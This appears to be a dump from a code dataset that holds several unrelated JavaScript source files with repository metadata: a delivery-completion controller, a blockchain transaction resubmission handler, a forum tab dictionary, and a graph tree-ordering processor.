06506e7e5426ffea2c955c54e81b80bf1dfa79de | 952 | js | JavaScript | src/app/controllers/DeliveryEndController.js | thalestestoni/bootcamp-gostack-desafio-02 | e94a6241b256b338632b9690f942b811a6591b7c | [
"MIT"
] | null | null | null | src/app/controllers/DeliveryEndController.js | thalestestoni/bootcamp-gostack-desafio-02 | e94a6241b256b338632b9690f942b811a6591b7c | [
"MIT"
] | 1 | 2021-05-11T02:17:22.000Z | 2021-05-11T02:17:22.000Z | src/app/controllers/DeliveryEndController.js | thalestestoni/fastfeet | e94a6241b256b338632b9690f942b811a6591b7c | [
"RSA-MD"
] | null | null | null | import * as Yup from 'yup';
import Delivery from '../models/Delivery';
import File from '../models/File';
class DeliveryEndController {
async update(req, res) {
const schema = Yup.object().shape({
end_date: Yup.date().required(),
signature_id: Yup.number(),
});
if (!(await schema.isValid(req.body))) {
return res.status(400).json({ error: 'Fields validation fails' });
}
const { signature_id } = req.body;
if (signature_id) {
const signatureExists = await File.findByPk(req.body.signature_id);
if (!signatureExists) {
return res.status(400).json({ error: 'Signature not found' });
}
}
const delivery = await Delivery.findByPk(req.params.deliveryId);
if (!delivery) {
return res.status(400).json({ error: 'Delivery not found' });
}
await delivery.update(req.body);
return res.json(delivery);
}
}
export default new DeliveryEndController();
| 24.410256 | 73 | 0.636555 |
06507af1ddecb222694ac98a8aeda8245a12238f | 6,103 | js | JavaScript | lib/transactions/errorHandlers/submittedHandler.js | OpenST/saas-api | bc6390e8ec6694fb3fa6b0539ffa5f3472e00744 | [
"MIT"
] | 6 | 2020-09-15T15:09:22.000Z | 2021-06-28T02:26:59.000Z | lib/transactions/errorHandlers/submittedHandler.js | OpenST/saas-api | bc6390e8ec6694fb3fa6b0539ffa5f3472e00744 | [
"MIT"
] | 3 | 2020-11-13T10:33:49.000Z | 2021-08-17T11:56:37.000Z | lib/transactions/errorHandlers/submittedHandler.js | OpenST/saas-api | bc6390e8ec6694fb3fa6b0539ffa5f3472e00744 | [
"MIT"
] | 5 | 2020-09-15T13:38:03.000Z | 2021-09-01T19:22:25.000Z | 'use strict';
/**
* This script handles the transactions which are in submitted status in transaction_meta table for a long time.
* It has two responsibilities:
* 1. If a transaction in table is not found on geth, it resubmits the transaction and updates the specific transaction
* entry in the table.
* 2. If a transaction is found in table as well as on geth, it sends an email to developers notifying them about such
* transactions and updates the specific transaction entry in the table.
*
* @module lib/transaction_error_handlers/submitted_handler
*/
const rootPrefix = '../../..',
ErrorHandlerBaseKlass = require(rootPrefix + '/lib/transactions/errorHandlers/base'),
ConfigStrategyObject = require(rootPrefix + '/helpers/configStrategy/Object'),
web3Provider = require(rootPrefix + '/lib/providers/web3'),
coreConstants = require(rootPrefix + '/config/coreConstants'),
TransactionMetaModel = require(rootPrefix + '/app/models/mysql/TransactionMeta'),
transactionMetaConst = require(rootPrefix + '/lib/globalConstant/transactionMeta');
require(rootPrefix + '/lib/transactions/ProcessRmqMessage');
/**
* @constructor
*
* @param {Array} txMetaRows: rows of queued tx from txMeta table
*/
class SubmittedHandlerKlass extends ErrorHandlerBaseKlass {
/**
* constructor
*
* @param params
* @constructor
*/
constructor(params) {
super(params);
const oThis = this;
oThis.allUuids = [];
oThis.transactionUuidsToBeReSubmitted = [];
}
/**
* Async performer for the class.
*
* @returns {Promise<void>}
*/
async asyncPerform() {
const oThis = this;
await oThis.validate();
await oThis._initializeVariables();
await oThis.setConfigStrategies();
await oThis._checkTransactionSubmitted();
await oThis.setPendingTxForUuids(oThis.transactionUuidsToBeFailed);
await oThis._resubmitTransactions();
await oThis.markFailAndRollbackBalance();
return Promise.resolve();
}
/**
* Initialize necessary variables
*
* @returns {Promise}
* @private
*/
async _initializeVariables() {
const oThis = this;
for (let i = 0; i < oThis.transactionsMetaRecords.length; i++) {
let txMeta = oThis.transactionsMetaRecords[i];
//if any of the lock is not matching release lock on all rows and return.
if (txMeta.lock_id != oThis.lockId) {
return Promise.reject(
'Some of records have mismatch lock id. Releasing lock for lock id:' +
oThis.lockId +
'---metaLock: ' +
txMeta.lock_id
);
}
oThis.allUuids.push(txMeta.transaction_uuid);
oThis.tokenIds.push(txMeta.token_id);
oThis.txUuidToTxMetaMap[txMeta.transaction_uuid] = txMeta;
}
}
/**
* Check transaction is already present in geth or not. if not resubmit, else wait.
*
* @returns {Promise<void>}
* @private
*/
async _checkTransactionSubmitted() {
const oThis = this;
for (let txUuid in oThis.txUuidToTxMetaMap) {
let txMeta = oThis.txUuidToTxMetaMap[txUuid],
ic = oThis.tokenIdToInstanceComposerMap[txMeta.token_id],
configObject = new ConfigStrategyObject(ic.configStrategy),
readWriteWsProviders = configObject.auxChainWsProviders('readWrite');
if (!txMeta.transaction_hash || !txMeta.sender_address) {
//Mark as FinalFailedStatus and rollback balance
oThis.transactionUuidsToBeFailed.push(txUuid);
} else {
let transaction = null,
promiseArray = [];
for (let index = 0; index < readWriteWsProviders.length; index++) {
promiseArray.push(
web3Provider
.getInstance(readWriteWsProviders[index])
.getTransaction(txMeta.transaction_hash)
.then(function(rsp) {
if (rsp) {
transaction = rsp;
}
})
);
}
await Promise.all(promiseArray);
if (transaction) {
//Add new next_action_at and wait till it succeeded
await oThis._markNextActionAtAndReleaseLock(txMeta);
} else if (txMeta.retry_count <= 10) {
//resubmit
oThis.transactionUuidsToBeReSubmitted.push(txUuid);
} else {
//Mark as FinalFailedStatus and rollback balance
oThis.transactionUuidsToBeFailed.push(txUuid);
}
}
}
console.log('---oThis.transactionUuidsToBeReSubmitted-----------------', oThis.transactionUuidsToBeReSubmitted);
console.log('---oThis.transactionUuidsToBeFailed----------------------', oThis.transactionUuidsToBeFailed);
}
/**
* Mark next action and release lock.
*
* @param txMeta
* @returns {Promise}
* @private
*/
async _markNextActionAtAndReleaseLock(txMeta) {
const oThis = this;
return new TransactionMetaModel()
.update([
'lock_id = NULL, retry_count = retry_count+1, next_action_at = ?',
transactionMetaConst.getNextActionAtFor(transactionMetaConst.statuses[txMeta.status])
])
.where(['id=? AND lock_id=?', txMeta.id, oThis.lockId])
.fire();
}
/**
* resubmit transaction.
*
* @returns {Promise}
* @private
*/
async _resubmitTransactions() {
const oThis = this;
for (let i = 0; i < oThis.transactionUuidsToBeReSubmitted.length; i++) {
let txUuid = oThis.transactionUuidsToBeReSubmitted[i],
txMeta = oThis.txUuidToTxMetaMap[txUuid],
ic = oThis.tokenIdToInstanceComposerMap[txMeta.token_id],
ProcessRmqExecuteTxMessage = ic.getShadowedClassFor(coreConstants.icNameSpace, 'ProcessRmqExecuteTxMessage');
let processRmqExecuteTxMessage = new ProcessRmqExecuteTxMessage({
transactionUuid: txUuid,
transactionMetaId: txMeta.id,
fromAddress: txMeta.sender_address,
fromAddressNonce: txMeta.sender_nonce,
resubmission: 1
});
// Process Ex Tx Message
await processRmqExecuteTxMessage.perform();
}
return {};
}
}
module.exports = SubmittedHandlerKlass;
| 30.515 | 119 | 0.659184 |
0652873be9feeefa554200da6d2a2359d49c09e2 | 423 | js | JavaScript | src/utils/tab.js | Lucky-clovers/my-ConodeJS | 930251d6415e9e67afe610f4b277d92c2c8550a8 | [
"CC0-1.0"
] | 1 | 2020-06-23T10:16:17.000Z | 2020-06-23T10:16:17.000Z | src/utils/tab.js | Lucky-clovers/my-ConodeJS | 930251d6415e9e67afe610f4b277d92c2c8550a8 | [
"CC0-1.0"
] | 4 | 2021-03-10T20:43:06.000Z | 2022-02-27T05:56:15.000Z | src/utils/tab.js | Lucky-clovers/my-ConodeJS | 930251d6415e9e67afe610f4b277d92c2c8550a8 | [
"CC0-1.0"
] | null | null | null | /*
* @Author: QIYE
* @Date: 2020-06-02 14:33:50
* @LastEditors: qiye
* @LastEditTime: 2020-06-03 16:53:44
*/
/**
* 帖子的tab字典,因为有好几个地方都要用到,所以单独提取出来
*/
export default {
good: {
name: '精华',
type: 'success'
},
share: {
name: '分享',
type: 'info'
},
ask: {
name: '问答',
type: 'warning'
},
job: {
name: '招聘',
type: 'danger'
},
dev: {
name: '客户端测试',
type: 'dev'
},
}
| 13.21875 | 37 | 0.491726 |
0652b5c39e862ef19051243654f46c56fe36cf0a | 761 | js | JavaScript | src/graph/processors/tree.order.js | cstefanache/smart-graph | ce3547f495e312b14eea238274839534778b0cc9 | [
"MIT"
] | null | null | null | src/graph/processors/tree.order.js | cstefanache/smart-graph | ce3547f495e312b14eea238274839534778b0cc9 | [
"MIT"
] | null | null | null | src/graph/processors/tree.order.js | cstefanache/smart-graph | ce3547f495e312b14eea238274839534778b0cc9 | [
"MIT"
] | null | null | null | import lo from 'lodash';
import uuid4 from 'uuid4';
export default function (instance) {
const {nodes, links, tree, nodesMap} = instance;
const orderedNodes = [];
const visitId = uuid4();
let childIndex = 0;
const stepInto = collection => {
collection.forEach(node => {
const {__sg} = node;
if (visitId !== __sg.visitId) {
const {children} = __sg;
__sg.visitId = visitId;
__sg.childIndex = ++childIndex;
stepInto(children);
}
})
}
const keys = Object.keys(tree);
if (keys.length > 0) {
stepInto(tree[keys[0]].children)
}
Object.keys(tree).forEach(key => {
tree[key].children = lo.orderBy(tree[key].children, nd => nd.__sg.childIndex);
});
return {nodes, links}
}
| 21.138889 | 82 | 0.604468 |